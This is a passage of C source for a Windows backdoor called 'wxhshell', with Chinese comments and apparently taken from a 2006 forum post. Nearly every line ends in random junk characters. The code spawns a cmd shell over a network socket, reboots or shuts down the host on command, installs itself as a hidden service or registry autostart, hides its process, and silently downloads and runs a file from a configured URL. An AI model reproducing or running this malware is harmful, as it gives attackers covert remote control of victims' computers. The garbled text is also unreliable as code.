      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ndk~(ex|j  
    break; /NuO>kQa  
  } lcfs 1].  
  // 安装 zOy_qozk  
  case 'i': { N~?(<DyZR  
    if(Install()) \(zUI  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0^F!-b^z  
    else LF+E5{=:R  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); YjPj#57+  
    break; Lg-!,Y   
    } {qs>yQ6a:-  
  // 卸载 {c<cSrfI  
  case 'r': { 8LY^>.  
    if(Uninstall()) QQ %W3D @  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); yEkwdx5!(  
    else \J-D@b;  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Pa?C-Xn^  
    break; {.Brh"yC  
    } R\x3'([A5  
  // 显示 wxhshell 所在路径 5d-rF:#  
  case 'p': { s+h}O}RV  
    char svExeFile[MAX_PATH]; L}K8cB  
    strcpy(svExeFile,"\n\r"); Ve xxdg  
      strcat(svExeFile,ExeFile); ,Z8)DC=  
        send(wsh,svExeFile,strlen(svExeFile),0); (Dx p  
    break; ~CHVU3  
    } {??bJRT  
  // 重启 ~*e@^Nv)v  
  case 'b': { , hp8b$  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 8KsPAK_  
    if(Boot(REBOOT)) )`mBvS.}  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); I2,AT+O<  
    else { x]IJ;  
    closesocket(wsh); r$Oa  
    ExitThread(0); drbim8 !q~  
    } xrv0%  
    break; :BB=E'293  
    } Zb:Z,O(vn  
  // 关机 /<"ok;Pu7  
  case 'd': { B#3Q4c$  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); $<3^( y  
    if(Boot(SHUTDOWN)) h-DHIk3/  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3u< ntx ><  
    else { }L=Qp=4  
    closesocket(wsh); }hcY5E-n  
    ExitThread(0); h05<1>?|  
    } U/_hH*N"!  
    break; m>*~ tP  
    } NPDMv |4  
  // 获取shell oc#hAjB.  
  case 's': { yR"mRy1  
    CmdShell(wsh); Ar<!F/  
    closesocket(wsh); i1*0'x  
    ExitThread(0); !'B='].  
    break; #7KR`H  
  } <,X=M6$0n  
  // 退出 \s!x;nw[  
  case 'x': { 9Q'[>P=1  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); v:n[H]K|  
    CloseIt(wsh); &y7xL-xP  
    break; L~RFI&b  
    } <j3|Mh_(I  
  // 离开 L\V`ou  
  case 'q': { Wfy+9"-;s  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 7k00lKA\w  
    closesocket(wsh); /Z[HU{4  
    WSACleanup(); ^'fgQyj  
    exit(1); #T@k(Bz{L  
    break; Ty#sY'%  
        } -!K&\hEjj  
  } oxdX2"WwU  
  } cDK)zD  
B#cN'1c  
  // 提示信息  V^rL  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ?'tRu !~  
} TKgN31`  
  } s+z5"3'n  
4C ;y2`C  
  return; @;N(3| n7  
} *adznd  
#=;vg  
// shell模块句柄 DIJmISk  
int CmdShell(SOCKET sock) i"pOYZW1  
{ Od:-fw  
STARTUPINFO si; >Bu9D  
ZeroMemory(&si,sizeof(si)); U3` ?Z`i(  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; >#Xz~xI/I  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 9X +dp  
PROCESS_INFORMATION ProcessInfo; !IA\c(c^  
char cmdline[]="cmd"; ?~(#~3x  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); cG%X}ZV5  
  return 0; >5?:iaq z  
} |I29m`  
g"(@+\XZH"  
// 自身启动模式 9NNXj^7  
int StartFromService(void) ~sPXkLqK  
{ )Y9\>Xj7  
typedef struct #TC}paIpj  
{ FOsxId[f9  
  DWORD ExitStatus; y n_.  
  DWORD PebBaseAddress; WiZTE(NM`  
  DWORD AffinityMask; ]f&f_"D  
  DWORD BasePriority; %u_dxpx  
  ULONG UniqueProcessId; m7C!}l]9  
  ULONG InheritedFromUniqueProcessId; fOME&$=O  
}   PROCESS_BASIC_INFORMATION; {?2|rv)  
ewHs ]V+U  
PROCNTQSIP NtQueryInformationProcess; ?Zsh\^k.g  
:Fu7T1  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; xI~A Z:m  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; EWgJ"WTF  
Cb`,N  
  HANDLE             hProcess; v Y0ESc{  
  PROCESS_BASIC_INFORMATION pbi; 4y?n62N8$  
he:z9EG}  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); yU4mS;GX  
  if(NULL == hInst ) return 0; 0NKgtH~+  
5E1`qof  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 12m-$/5n+  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 'b z&m(!  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); zy nX9t  
Yf~Kzv1]*  
  if (!NtQueryInformationProcess) return 0; 1 ] cLbJ  
c@"FV,L>  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); i$Kx@,O8t  
  if(!hProcess) return 0; W5= j&&|!  
&qWB\m  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; v'b%m8  
HLG5SS7  
  CloseHandle(hProcess); >u(^v@Ejf  
$u'"C|>8  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); h6^|f%\w*i  
if(hProcess==NULL) return 0; a$Y{ut0t(  
0B!(i.w  
HMODULE hMod; PREGQ0  
char procName[255]; ]+3M\ ib  
unsigned long cbNeeded; H!u8+  
vmrs(k "d#  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); zrG  
]@<VLP?  
  CloseHandle(hProcess); <tZZ]Y]  
j/=Tj'S?D  
if(strstr(procName,"services")) return 1; // 以服务启动 f\_PNZCc  
5N%d Les  
  return 0; // 注册表启动 *AQ3RA8  
} =E%@8ZbK  
U5H%wA['m  
// 主模块 X' 5R4j  
int StartWxhshell(LPSTR lpCmdLine) ;CF:cH*  
{ ,>7dIJqzw  
  SOCKET wsl; R6o  D  
BOOL val=TRUE; ^>Z_3 {s:$  
  int port=0; 9N)I\lcY  
  struct sockaddr_in door; OG?7( UJ  
saP%T~  
  if(wscfg.ws_autoins) Install(); N\B&|;-V  
dVj2x-R)  
port=atoi(lpCmdLine); 'uDx$AkY  
.Y]0gi8z  
if(port<=0) port=wscfg.ws_port; {}k3nJfE  
[r8[lkR  
  WSADATA data; -V}xvSVg  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; sL~4 ~178  
lGWz  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   }*QK;#NEc  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); (?R!y -  
  door.sin_family = AF_INET; + c3pe4  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); JG'%HJ"D  
  door.sin_port = htons(port); Kmaz"6A  
U\:Y*Ai  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { lW-h @  
closesocket(wsl); y,|2hrj/0E  
return 1; b/ \EN)  
} l`N#~<.  
B t}90#  
  if(listen(wsl,2) == INVALID_SOCKET) { 1_q!E~)  
closesocket(wsl); >zX^*T#  
return 1; X5/fy"g&  
} tB~#;:g  
  Wxhshell(wsl); 6_QAE6A  
  WSACleanup(); :2S?|7U4  
ZJZSt% r  
return 0; {!wW,3|Pu  
_3 oo%?}  
} *6AV^^  
l9Ol|Cb&  
// 以NT服务方式启动 $RY-yKmi  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) b7\>=  
{ Q%d%Io\-t  
DWORD   status = 0; <Qih&P9;>  
  DWORD   specificError = 0xfffffff;  mih}?oi  
J+IItO4%  
  serviceStatus.dwServiceType     = SERVICE_WIN32; !nkIXgWz  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 9MZ)-  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 6#*_d,xQT  
  serviceStatus.dwWin32ExitCode     = 0; 2?q>yL!Gz  
  serviceStatus.dwServiceSpecificExitCode = 0; J~WT;s  
  serviceStatus.dwCheckPoint       = 0; |\uj(|  
  serviceStatus.dwWaitHint       = 0; P8X9bW~GQ  
uXFI7vV6P  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); +&VY6(Zj+*  
  if (hServiceStatusHandle==0) return; h'&<A_C-7  
mm +V*L{x  
status = GetLastError(); "i#g [x  
  if (status!=NO_ERROR) rrRv 7J&Q  
{ _ncBq;j{  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; p P@q `  
    serviceStatus.dwCheckPoint       = 0; t{iRCj  
    serviceStatus.dwWaitHint       = 0; /+%aSPQ  
    serviceStatus.dwWin32ExitCode     = status; eEVB   
    serviceStatus.dwServiceSpecificExitCode = specificError; DVhBZ!u 9  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); GNv{ Ij<  
    return; KZ[TW,Gw  
  } 9:@Xz5  
V;SV0~&  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 80lhhqRC  
  serviceStatus.dwCheckPoint       = 0; O DN_i  
  serviceStatus.dwWaitHint       = 0; ^$'z#ZN1  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); qypF}Pw  
} <bhGpLh-E  
\\:%++}J  
// 处理NT服务事件,比如:启动、停止 | 8mWR=9fs  
VOID WINAPI NTServiceHandler(DWORD fdwControl) P ah@d!%A  
{ %XukiA+  
switch(fdwControl) *cWHl@4  
{ sz270k%[  
case SERVICE_CONTROL_STOP: 6T4DuF   
  serviceStatus.dwWin32ExitCode = 0; v]on0Pi!  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; meV Z_f/  
  serviceStatus.dwCheckPoint   = 0; 0'F/z%SMj  
  serviceStatus.dwWaitHint     = 0; Z+U -+eG  
  { Bq)dqLwk  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); bi}aVtG~z  
  } [>dDRsZ  
  return; o N A ]G]  
case SERVICE_CONTROL_PAUSE: $s}w23nB  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; (kO(R#M  
  break; '6NrL;  
case SERVICE_CONTROL_CONTINUE: TC<Rg?&yb  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Ng;?hTw  
  break; ?`xF>P]M  
case SERVICE_CONTROL_INTERROGATE: 3S_H&>K  
  break; >F7HKwg}Z  
}; ,rN$ah$CL  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); e?;c9]XO,o  
} 'L3MHTM>[  
_XP}f x7$C  
// 标准应用程序主函数 BhAT@%  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 6e\?%,H  
{ )b]!IP3  
6B@e[VtG$  
// 获取操作系统版本 \41/84BA  
OsIsNt=GetOsVer(); -!7Z  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Zl9  
2dHO!A$RF  
  // 从命令行安装 {Lv"wec*x  
  if(strpbrk(lpCmdLine,"iI")) Install(); +UOVD:G  
"[]oWPOj  
  // 下载执行文件 /8]K}yvR  
if(wscfg.ws_downexe) { CzreX3i  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ]Kjt@F";  
  WinExec(wscfg.ws_filenam,SW_HIDE); pFMjfWD,C  
} dKEy6C"@  
-J 6`  
if(!OsIsNt) { ,<P"\W  
// 如果时win9x,隐藏进程并且设置为注册表启动 \6 JY#%  
HideProc(); '$p`3Oqi  
StartWxhshell(lpCmdLine); $FT6c@&y  
} Kp7)my  
else W.{+0xx  
  if(StartFromService()) Qh8pOUD0l}  
  // 以服务方式启动 32 j){[PL3  
  StartServiceCtrlDispatcher(DispatchTable); ~~&Bp_9QXN  
else KY< $+/B!  
  // 普通方式启动 xv147"w'v  
  StartWxhshell(lpCmdLine); J3oUtu  
(  -q0!]E  
return 0; 1Ci^e7|?  
}
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只看该作者 1 发表于: 2006-10-10
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